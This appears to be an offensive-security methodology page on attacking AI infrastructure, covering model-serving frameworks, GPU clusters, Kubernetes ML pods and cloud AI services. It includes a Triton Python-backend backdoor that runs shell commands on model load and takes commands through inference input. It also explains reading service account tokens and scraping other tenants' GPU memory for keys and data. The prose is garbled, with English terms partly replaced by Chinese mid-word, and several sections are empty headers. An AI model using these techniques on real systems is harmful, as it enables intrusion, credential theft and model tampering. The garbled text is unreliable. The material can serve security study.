AI Infrastructure 利用ation

Methodology for exploiting GPU clusters, model serving frameworks (Triton, vLLM, Ollama), Kubernetes ML platforms, cloud AI services, and cost amplification attacks.

AI Infrastructure 利用

AI infrastructure combines traditional attack surfaces with AI-specific concerns: model serving frameworks with unauthenticated APIs, GPU drivers with kernel-level access, multi-tenant 推論 platforms with shared memory, and 雲端 AI services with billing models ripe for cost amplification.

Infrastructure 攻擊 Surfaces

AI infrastructure spans several distinct target categories, each with unique 利用 characteristics.

Model serving frameworks (Triton, vLLM, Ollama) are frequently deployed without 認證, exposing model enumeration, configuration details, and 推論 endpoints. The highest-severity risk is code execution through custom backends -- Triton's Python backend runs arbitrary code during model load and 推論. Unauthenticated management APIs allow loading 攻擊者-controlled models, making any exposed model server a potential foothold into the 推論 infrastructure.

GPU clusters introduce hardware-level attack surfaces absent from traditional infrastructure. Uninitialized GPU memory can contain data from previous tenants (model weights, 訓練資料, API keys). NVLink and NVSwitch fabrics enable peer-to-peer memory access across GPUs if isolation is not enforced. CUDA IPC handles allow cross-process GPU memory access. NVIDIA DCGM management APIs on port 5555 provide cluster-wide GPU control when exposed without 認證.

ML pipelines on Kubernetes commonly over-provision 權限, granting cluster-admin to 訓練 job service accounts. Shared storage mounts (/models, /data, /checkpoints) enable lateral movement from a compromised 訓練 job to production model replacement or 資料投毒. CI/CD systems that automate 訓練 and deployment are high-value targets -- compromising the pipeline produces persistent, automated 後門 injection across all future model versions.

GPU Cluster 攻擊

攻擊 Surface Enumeration

From a compromised container, enumerate the GPU infrastructure:

GPU Memory Side Channels

Memory remnants: Allocate uninitialized GPU memory via torch.empty(1024, 1024, device='cuda') and scan for non-zero values. On shared infrastructure, previous tenants' model weights, 訓練資料, and API keys may be recoverable.

Timing attacks: Measure allocation latency over many iterations. Bimodal distribution in allocation times indicates co-tenant interference, revealing workload patterns and memory pressure.

NVLink/NVSwitch Risks

Model Serving 漏洞

Reconnaissance Methodology

1. 1

   識別 the serving framework

   Probe common endpoints to determine which framework is running.

   Framework	Health Endpoint	Default Port
   Triton	/v2/health/ready	8000 (HTTP), 8001 (gRPC)
   vLLM	/health	8000
   Ollama	/api/tags	11434

2. 2

   Check for 認證

   Most model serving frameworks deploy without 認證 by default. 測試 unauthenticated access to model listing and 推論 endpoints.

3. 3

   Enumerate models and configurations

   Extract model names, architectures, 輸入/輸出 specs, and backend types. Look for Python backends (code execution) and ensemble pipelines.

4. 4

   測試 for exploitable features

   Check model control APIs (load/unload), metrics endpoints (information disclosure), and custom backend execution.

Framework-Specific 攻擊

Triton is the most feature-rich target:

Critical risk: Triton's Python backend executes arbitrary code. If you can place a model in the repository, model.py runs during 推論:

# model.py in Triton's model repository
class TritonPythonModel:
    def initialize(self, args):
        os.system('id > /tmp/pwned')  # Runs on model load
    def execute(self, requests):
        # Use 推論 輸入 as command channel
        cmd = pb_utils.get_input_tensor_by_name(
            requests[0], 'INPUT').as_numpy()[0].decode()
        輸出 = subprocess.getoutput(cmd)

vLLM exposes an OpenAI-compatible API, typically without 認證:

測試 for 系統提示詞 override by sending a system message that contradicts the deployment's intended prompt.

Ollama binds to localhost by default but is often exposed on 0.0.0.0 with no 認證:

Kubernetes ML Platform 攻擊

Privilege Escalation from ML Pods

ML pods commonly have excessive 權限. After compromising a 訓練 job, enumerate Kubernetes access:

1. 1

   Read the service account 符元

   Check /var/run/secrets/kubernetes.io/serviceaccount/符元. ML platform service accounts are frequently bound to cluster-admin.

2. 2

   Enumerate accessible resources

   測試 access to cluster-wide secrets, pods, nodes, namespaces, and deployments using the service account 符元 against the Kubernetes API.

3. 3

   Access shared storage

   Check common ML mount points for lateral access.

Shared Storage 攻擊 Paths

雲端 AI Service 利用

雲端-Specific 攻擊 Surfaces

From a compromised SageMaker notebook, enumerate all endpoints (deployed models), models (with S3 artifact paths), and 訓練 jobs (with IAM roles and hyperparameters) via the boto3 SageMaker client.

Cost Amplification 攻擊

Inference Service SSRF

Model serving endpoints that accept URLs as 輸入 (image classification, web scraping, document processing) are SSRF vectors.

Priority SSRF Targets

相關主題

• AI Supply Chain 利用 -- 供應鏈 attacks that compromise infrastructure from within
• AI Application 安全 -- Application-layer 漏洞 on infrastructure endpoints
• MCP Tool 利用 -- MCP servers running on exploitable infrastructure
• Advanced Reconnaissance -- Fingerprinting model serving frameworks as recon targets

參考文獻

• OWASP Machine Learning 安全 Top 10 — ML infrastructure risks
• NVIDIA Triton Inference Server — Model serving infrastructure
• Kubernetes 安全 最佳實務 (CISA, 2022) — K8s 安全 for ML clusters